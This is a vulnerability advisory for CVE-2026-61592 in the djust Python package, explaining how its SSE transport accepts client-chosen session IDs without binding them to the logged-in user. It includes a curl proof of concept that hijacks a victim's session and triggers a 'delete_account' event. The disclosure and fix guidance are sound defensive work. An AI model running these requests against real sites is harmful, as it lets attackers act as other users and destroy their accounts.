high · 7.4CVE-2026-61592Sep 16, 2026

CVE-2026-61592: djust SSE Session Hijack via Client-Controlled session_id

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

In djust before 1.0.7, anyone who knows a victim's SSE session_id can connect to that session and fire server-side event handlers as the victim, because the server never checks that the connecting…

Packagedjust
Ecosystempip
Affected< 1.0.7
Fixed in1.0.7
CVE-2026-61592: djust SSE Session Hijack via Client-Controlled session_id

The problem

djust's SSE transport lets the client pick its own session_id (a UUID), and that UUID is the only credential checked at the message endpoint. There is no binding between the session and the authenticated Django user who created it.

An attacker who learns a victim's session_id (via logs, referrer headers, network intercept, or the related CSRF issue CVE-2026-61593) can POST to the message endpoint using that ID. The server accepts the connection and dispatches event handlers with the victim's identity and application state.

Proof of concept

A working proof-of-concept for CVE-2026-61592 in djust, with the exact payload below.

bash
# Step 1 — victim (alice, authenticated) opens her SSE stream;
# the client-chosen session_id is visible in the URL or network tab.
# e.g. session_id = 4b3a1c2d-dead-beef-cafe-000000000001

# Step 2 — attacker (knows the session_id, logged in as anyone or anonymous)
# connects to the SAME stream to confirm it is live:
curl -N 'https://target.example.com/djust/sse/stream/4b3a1c2d-dead-beef-cafe-000000000001/'

# Step 3 — attacker POSTs an event to alice's session;
# handlers execute with alice's request.user and view state.
curl -s -X POST 'https://target.example.com/djust/sse/message/4b3a1c2d-dead-beef-cafe-000000000001/' \
  -H 'Content-Type: application/json' \
  -d '{"type": "event", "event": "delete_account", "params": {}}'

The root cause is CWE-488 / CWE-639: the session_id functions as an authorization key, but it is chosen by the client and never tied to request.user. The WebSocket transport bound the session to the authenticated principal during the handshake; that guard was simply not ported to the SSE transport.

The patch stores the owning principal at SSE session creation time. Every subsequent request to the stream or message endpoint compares request.user against the stored owner and returns 403 on mismatch. The patch also caps how many SSE sessions one principal can open, limiting enumeration.

The fix

Upgrade to djust 1.0.7. As a short-term workaround, disable the SSE transport entirely in your djust settings until you can upgrade.

Reporter not attributed.

References: [1][2][3]

Related research